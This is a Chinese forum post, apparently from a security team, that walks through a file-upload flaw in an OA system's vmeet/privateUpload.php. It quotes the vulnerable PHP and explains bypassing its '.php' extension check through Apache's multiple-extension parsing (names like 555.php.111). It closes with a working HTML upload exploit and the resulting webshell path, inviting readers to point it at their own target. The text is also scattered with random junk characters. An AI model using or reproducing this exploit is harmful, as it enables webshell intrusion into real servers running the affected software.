作者:西毒@SafeKey Team
+ E4 {* r/ o9 Z8 q% s2 {, R* J+ J
& g3 K" ?, A$ ] q/ `6 W5 l 1 [: v/ ?2 [4 R0 X) A( H
0 s8 }( d$ I, B% V w! d在general/vmeet/ 下的 privateUpload.php文件+ @+ Z' i* j4 R, F- P7 x; ^
我们看看代码
1 E3 _ `3 v" s; [" \6 {; }% N6 N" P. O3 q
" }+ D6 \+ b) V1 J; G! Z
, B+ q% S5 K1 X4 U
include_once( "inc/conn.php" ); //包含conn.php该文件 include_once( "inc/utility_file.php" );//包含utility_file.php这个文件 ob_end_clean( ); //清除缓冲区 $uploadFileName = $_FILES['Filedata']['name']; //获取上传文件名 $uploadFile = $_FILES['Filedata']['tmp_name']; //获取上传临时文件地址 $uploadFileName = iconv( "UTF-8", $MYOA_CHARSET, $uploadFileName ); //转换文件名编码,统一utf-8 if ( is_uploaded_file( $uploadFile ) ) //这里判断是否已经上传了文件,如果存在临时文件则执行下面语句 { $pos = strrpos( $uploadFileName, "." ); //取文件名最好一个包含点的位置 $len = strlen( $uploadFileName ); //获取文件名长度 $extendType = substr( $uploadFileName, $pos, $len );//取最后的文件名 if ( strtolower( $extendType ) == ".php" ) //判断后缀是否为.php如果是.php则不执行,如果否继续执行下面的语句 { echo "upload file fobidden"; exit( ); } $localFileName = $_GET['fileName']; //get方式获取文件名 漏洞出现在这里 $ZLCHAT_ATTACH = "upload/"; //上传目录 $localFile = "{$ZLCHAT_ATTACH}/temp/".$localFileName; //上传位置,其中$localFileName是可控的变量 if ( !td_move_uploaded_file( $uploadFile, $localFile ) ) //这里就上传了 { echo "upload failed"; } } ?>
/ W2 @% Z; I8 C4 R: T; K这是对上面代码的一个解析,看看我们怎么绕过这个过程拿下webshell呢?
% @3 H: E$ f) g$ M首先我们必须得明白….这里系统采用的是apache服务器,apache服务器存在一个解析漏洞,即 当遇到这样的文件(1.php.222) 他会解析这个文件为php' y# L" e# \* G4 F3 V" @; m" ?
我们这里就是利用这个漏洞绕过上面的检测后缀名的。. l% s' X- I$ k* g
x% G/ E4 k6 V
所以我们只要上传非php后缀的文件,然后我们自定义一个后缀为1.php.111这样就行了。 上传目录又告诉我们了,所以我们就这样可以轻松获取一个webshell了) l9 H8 Q' \! j+ j9 |8 i }" p
这是我本地测试的结果
+ h9 x# Y8 C) q3 l" o Y
( E& l4 p7 [5 Z! s! H7 U下面我附一下利用exp2 Y' f: B6 k# K& R% o5 o2 v* S
保存下面的代码为1.html 如果需要测试的话,只需要将192.168.56.139改成你的目标站点
* P0 T9 ~- M6 U- V [4 y! p8 H2 V6 lexp 放在这里
7 T H2 D& a P: B* L; B& s% W& x, d0 W1 p0 i# h* n, T( l3 k1 q5 H+ [
0 T+ @% f: X% C. O% |6 S: E/ r
+ X3 ~( d1 T3 M7 D5 a9 H& W ) s- n& F% R9 ~# G
/ ]) G' g/ E: O7 E& A/ g+ G9 R<form id=”frmUpload” enctype=”multipart/form-data” action=”http://192.168.56.139/general/vm ... ileName=555.php.111″ method=”post”>Upload a new file:<br> <input type=”file” name=”Filedata” size=”50″><br> <input type=”submit” value=”Upload”> <!– http://192.168.56.139/general/vmeet/upload/temp/555.php.111 这里是上传之后的网马–> </form> |